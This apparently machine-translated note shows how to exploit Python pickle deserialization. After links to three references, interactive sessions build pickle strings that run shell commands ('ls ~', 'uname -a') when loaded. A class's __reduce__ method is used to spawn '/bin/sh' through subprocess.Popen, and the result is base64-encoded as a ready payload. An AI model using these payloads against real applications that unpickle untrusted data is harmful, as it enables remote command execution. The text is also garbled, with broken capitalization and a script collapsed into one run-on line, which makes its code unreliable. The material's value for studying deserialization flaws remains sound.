Pickle
Http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf
https://blog.nelhage.com/2011/03/exploiting-pickle/
https://lincolnloop.com/blog/playing-pickle-security/
>>> Import Pickletools
>>> print Pickletools.dis ("cos\nsystem\n (S ' ls ~ ' \ntr.")
0:C GLOBAL ' OS system '
One: (MARK
12:s STRING ' ls ~ '
20:t TUPLE (MARK at 11)
21:r REDUCE
22:. STOP
Highest protocol among opcodes = 0
None
>>> Import Cpickle
>>> cpickle.loads ("cos\nsystem\n (S ' uname-a ' \ntr.")
Linux rcm-rsas-v6-dev 3.9.0-aurora #4 SMP PREEMPT Fri June 7 14:50:52 CST i686 Intel (R) Core (TM) i7-2600 CPU @ 3.40GHz Genuineintel Gnu/linux
0
Constructs a simple execution statement, of course, you can also pass the __reduce__ method of the class, which means that the __reduce__ method is used when performing pickle deserialization.
import cpickleimport subprocessimport base64class runbinsh (object): def _ _reduce__ (self): return (subprocess. popen, (('/bin/sh ',),) Print base64.b64encode (Cpickle.dumps (Runbinsh ()))
>>> class RunBinSh1 (object):
... def __reduce__ (self):
... return (subprocess. Popen, ((' uname ',),))
...
>>> Print (Cpickle.dumps (RUNBINSH1 ()))
Csubprocess
Popen
P1
(S ' uname '
Tp2
Tp3
Rp4
.
>>> Print Cpickle.loads ((Cpickle.dumps (RUNBINSH1 ()))
<subprocess. Popen Object at 0xb70cebac>
>>> Linux
This makes it easy to construct loads statements.
How Python Pickle Works